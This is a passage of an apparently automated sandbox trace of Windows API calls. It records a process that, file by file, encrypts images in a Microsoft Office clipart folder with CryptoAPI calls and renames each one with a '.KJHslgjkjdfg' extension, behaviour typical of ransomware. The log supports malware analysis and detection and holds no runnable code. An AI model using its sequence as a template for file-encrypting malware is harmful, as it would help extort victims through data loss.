hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.721] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0197.724] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.724] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.724] GetProcessHeap () returned 0x2ef0000 [0197.724] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.724] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.724] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.724] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.724] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.724] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.724] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.725] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.725] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.725] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.725] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6b9a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6b9a, lpOverlapped=0x0) returned 1 [0197.726] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6ba0, dwBufLen=0x6ba0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6ba0) returned 1 [0197.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.726] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6ba0, lpOverlapped=0x0) returned 1 [0197.727] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.727] SetEndOfFile (hFile=0x130) returned 1 [0197.729] GetProcessHeap () returned 0x2ef0000 [0197.729] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.729] GetProcessHeap () returned 0x2ef0000 [0197.729] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.kjhslgjkjdfg")) returned 1 [0197.731] CloseHandle (hObject=0x130) returned 1 [0197.731] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0197.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.733] GetProcessHeap () returned 0x2ef0000 [0197.733] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.733] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.733] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0197.736] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.736] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.736] GetProcessHeap () returned 0x2ef0000 [0197.736] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.736] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.736] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.736] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.736] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.736] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.736] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.736] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.736] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.736] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.737] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3b29, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3b29, lpOverlapped=0x0) returned 1 [0197.738] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b30) returned 1 [0197.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.738] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3b30, lpOverlapped=0x0) returned 1 [0197.738] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.738] SetEndOfFile (hFile=0x130) returned 1 [0197.741] GetProcessHeap () returned 0x2ef0000 [0197.741] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.741] GetProcessHeap () returned 0x2ef0000 [0197.741] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.kjhslgjkjdfg")) returned 1 [0197.742] CloseHandle (hObject=0x130) returned 1 [0197.742] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0197.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.743] GetProcessHeap () returned 0x2ef0000 [0197.743] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.743] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.743] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0197.745] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.746] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.746] GetProcessHeap () returned 0x2ef0000 [0197.746] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.746] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.746] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.746] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.746] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.746] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.746] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.746] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.746] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.746] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.746] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bf2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1bf2, lpOverlapped=0x0) returned 1 [0197.749] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c00, dwBufLen=0x1c00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c00) returned 1 [0197.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.749] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c00, lpOverlapped=0x0) returned 1 [0197.749] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.749] SetEndOfFile (hFile=0x130) returned 1 [0197.752] GetProcessHeap () returned 0x2ef0000 [0197.752] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.752] GetProcessHeap () returned 0x2ef0000 [0197.752] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.kjhslgjkjdfg")) returned 1 [0197.753] CloseHandle (hObject=0x130) returned 1 [0197.753] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0197.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.754] GetProcessHeap () returned 0x2ef0000 [0197.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.754] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.755] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.757] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.757] GetProcessHeap () returned 0x2ef0000 [0197.757] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.757] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.757] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.758] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.758] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.758] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4cc8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4cc8, lpOverlapped=0x0) returned 1 [0197.759] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4cd0) returned 1 [0197.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.759] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4cd0, lpOverlapped=0x0) returned 1 [0197.759] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.759] SetEndOfFile (hFile=0x130) returned 1 [0197.762] GetProcessHeap () returned 0x2ef0000 [0197.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.762] GetProcessHeap () returned 0x2ef0000 [0197.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.kjhslgjkjdfg")) returned 1 [0197.764] CloseHandle (hObject=0x130) returned 1 [0197.764] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0197.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.765] GetProcessHeap () returned 0x2ef0000 [0197.765] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.765] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.765] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0197.768] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.768] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.768] GetProcessHeap () returned 0x2ef0000 [0197.768] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.768] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, 